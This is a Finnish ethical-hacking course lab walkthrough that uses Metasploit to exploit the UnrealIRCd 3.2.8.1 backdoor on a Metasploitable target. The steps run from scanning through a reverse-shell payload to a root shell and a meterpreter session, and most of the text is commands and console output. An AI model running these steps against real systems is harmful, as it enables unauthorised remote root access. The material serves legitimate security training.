Cityscape
Girl

Murtotestauksen perusteet

Harjoitus: Unreal IRC backdoor

Keskitaso
20 min

Käydään tässä harjoituksessa läpi esimerkki, miten voit käyttää metasploittia haavoittuvuuden hyväksikäyttöön. Käymme jokaisen vaiheen läpi, joten voit käynnistää labran ja seurata mukana omaa tahtia.

Unreal IRC backdoor

Unreal IRC backdoor

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.


Aloitetaan taas tutuista vaiheista, eli kartoituksesta. Käynnistetään tietokanta, valmistellaan se ja suoritetaan alustavat skannaukset db_nmap moduulilla. Huomio, että kohteessa on ICMP (ping) disabloitu, eli tämä ei vastaa ICMP paketteihin, joita nmap yrittää oletusarvoisesti käyttää. Voit disabloida ICMP käytön käyttämällä -Pn vipua nmapin komennoissa.

msf6 > db_nmap -Pn -p22,6667 -A 10.0.2.39
[*] Nmap: Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 21:22 UTC
[*] Nmap: Nmap scan report for 10.0.2.39
[*] Nmap: Host is up (0.000057s latency).
[*] Nmap: PORT     STATE SERVICE VERSION
[*] Nmap: 22/tcp   open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
[*] Nmap: |_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
[*] Nmap: 6667/tcp open  irc     UnrealIRCd
[*] Nmap: | irc-info:
[*] Nmap: |   users: 1
[*] Nmap: |   servers: 1
[*] Nmap: |   lusers: 1
[*] Nmap: |   lservers: 0
[*] Nmap: |   server: irc.Metasploitable.LAN
[*] Nmap: |   version: Unreal3.2.8.1. irc.Metasploitable.LAN
[*] Nmap: |   uptime: 0 days, 0:04:19
[*] Nmap: |   source ident: nmap
[*] Nmap: |   source host: Test-946EE70D.local
[*] Nmap: |_  error: Closing Link: iztjsqbbs[attacker.local] (Quit: iztjsqbbs)
[*] Nmap: Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
[*] Nmap: OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
[*] Nmap: No OS matches for host
[*] Nmap: Network Distance: 2 hops
[*] Nmap: Service Info: Host: irc.Metasploitable.LAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE (using port 22/tcp)
[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   ...
[*] Nmap: 2   0.03 ms 10.0.2.39
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 12.63 seconds

Näemme nmapin tulosteesta, että kohdejärjestelmässä on auki UnrealIRCd niminen palvelu ja tarkemmin sanottuna versio 3.2.8.1 tästä palvelusta. Tuloste myös viittaa siihen, että kyseinen palvelin on Linux-pohjainen. Jatketaan seuraavaksi katsomalla, että löytyykö Metasploitista, jokin exploit-moduuli, jolla voisimme hyväksikäyttää kyseistä IRC-palvelua.

msf6 > search exploit unreal

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/linux/games/ut2004_secure           2004-06-18       good       Yes    Unreal Tournament 2004 "secure" Overflow (Linux)
   1  exploit/windows/games/ut2004_secure         2004-06-18       good       Yes    Unreal Tournament 2004 "secure" Overflow (Win32)
   2  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution

Kyseiselle palvelulle ja palvelun versiolle löytyy yksi exploit-moduuli, joka vaikuttaa erittäin potentiaaliselta. Valitaan se ja luetaan tästä tarkemmin. Käytämme use komentoa, jolla valitsemme kyseisen moduulin ja tämän jälkeen suoritamme info komennon nähdäksemme lisää tietoa tästä moduulista.

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT   6667             yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a malicious backdoor that was added to the
  Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
  Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2010-2075
  OSVDB (65445)
  http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

Kuvaus kertoo meille, että kyseinen moduuli hyväksikäyttää takaovea, joka on lisätty kyseisen palvelun tähän versioon, jonkun tahon toimesta. Erittäin mielenkiintoista!

Asetetaan ensin moduulin asetukset kohdalleen.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.0.2.39
RHOSTS => 10.0.2.39
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.0.2.39        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Asetetaan seuraavaksi hyötykuorman asetukset. Voimme listata hyötykuormat, joita tämä exploit moduuli tukee käyttämällä show payloads komentoa.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/adduser                                     normal  No     Add user with useradd
   1   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   2   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   3   payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   4   payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   5   payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   6   payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   7   payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   8   payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   9   payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   10  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   11  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   12  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

Valitsemme hyötykuorman numero 6 listalta joka luo käänteisen yhteyden, eli kohde järjestelmä ottaa meidän kuuntelijaan yhteyden. On hyvä muistaa, että usein erinäiset palomuuri-asetukset estävät hyötykuormat, joiden avulla me otamme kohdejärjestelmään lopullisen yhteyden, mutta lähes aina palomuurit sallivat kohdejärjestelmän ottamaan yhteyksiä rajoittamattomasti ulospäin.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload payload/cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.0.2.39        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    6667             yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Kuten tulosteesta näkyy, metasploitin hyötykuormat käyttävät oletusarvoisesti porttia 4444, johon kohdejärjestelmä ottaa yhteyden. Tämä käy meillekin, mutta joudumme määrittämään LHOST parametrin, jolla viitataan, että missä IP:ssä haluamme, että kuuntelija kuuntelee. (Kone voi olla useassa eri verkossa samaan aikaan, joten tämän spesifioiminen on ihan hyvä idea).

Tarkistamme oman IP-osoitteemme suorittamalla tavallisen ip a komennon.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > ip a
[*] exec: ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
11780: eth0@if11781: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 76:8f:58:15:db:b4 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.0.2.55/32 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::748f:58ff:fe15:dbb4/64 scope link 
       valid_lft forever preferred_lft forever

Tämän jälkeen asetamme IP:n LHOST parametriksi ja tarkistamme vielä, että kaikki asetukset ovat kunnossa.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 10.0.2.55
LHOST => 10.0.2.55
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.0.2.39        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    6667             yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.55        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Ja kun olemme varmoja, että hyökkäyksen valmistelu on valmis, niin voimme suorittaa exploitin exploit komennolla.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 10.0.2.55:4444 
[*] 10.0.2.39:6667 - Connected to 10.0.2.39:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 10.0.2.39:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 2mK6xqyIvvFWXRFt;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "2mK6xqyIvvFWXRFt\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.0.2.55:4444 -> 10.0.2.39:52094) at 2023-10-08 21:36:32 +0000

id
uid=0(root) gid=0(root) groups=0(root)

Nyt olemme onnistuneesti hyväksikäyttäneet haavoittuvuutta kohdejärjestelmässä ja saaneet etähallintayhteyden kohde koneelle.

Katsotaan seuraavaksi, jos saamme päivitettyä tämän yksinkertaisen shell yhteyden monipuolisemmaksi meterpreter yhteydeksi. Aloitetaan siirtämällä nykyinen etähallintaistunto taustalle pyörimään (CTRL-z). Voimme listata olemassa olevat sessiot sessions komennolla. Voimme myös hypätä takaisin sessioon sessions -i <id> komennolla.

id
uid=0(root) gid=0(root) groups=0(root)
^Z
Background session 1? [y/N]  y
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions 

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               10.0.2.55:4444 -> 10.0.2.39:52094 (10.0.2.39)

Metasploitissa on hyödyllinen moduuli post/multi/manage/shell_to_meterpreter, jonka avulla voimme yrittää luoda uuden etähallintayhteyden käyttämällä meterpreter hyötykuormaa. Kokeilemme sitä.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > exploit

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.2.55:4433 
[*] Sending stage (1017704 bytes) to 10.0.2.39
[*] Meterpreter session 2 opened (10.0.2.55:4433 -> 10.0.2.39:40716) at 2023-10-08 21:48:49 +0000
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions 

Active sessions
===============

  Id  Name  Type                   Information       Connection
  --  ----  ----                   -----------       ----------
  1         shell cmd/unix                           10.0.2.55:4444 -> 10.0.2.39:52094 (10.0.2.39)
  2         meterpreter x86/linux  root @ 10.0.2.39  10.0.2.55:4433 -> 10.0.2.39:40716 (10.0.2.39)

Ja voila! - Nyt meillä on toimiva meterpreter etähallintayhteys kohdejärjestelmään.

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > 

Kannattaa lähteä itse kokeilemaan, mitä kaikkea kyseisellä yhteydellä voi tehdä. Aloita vaikkapa lukemalla help komennon listaus.

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.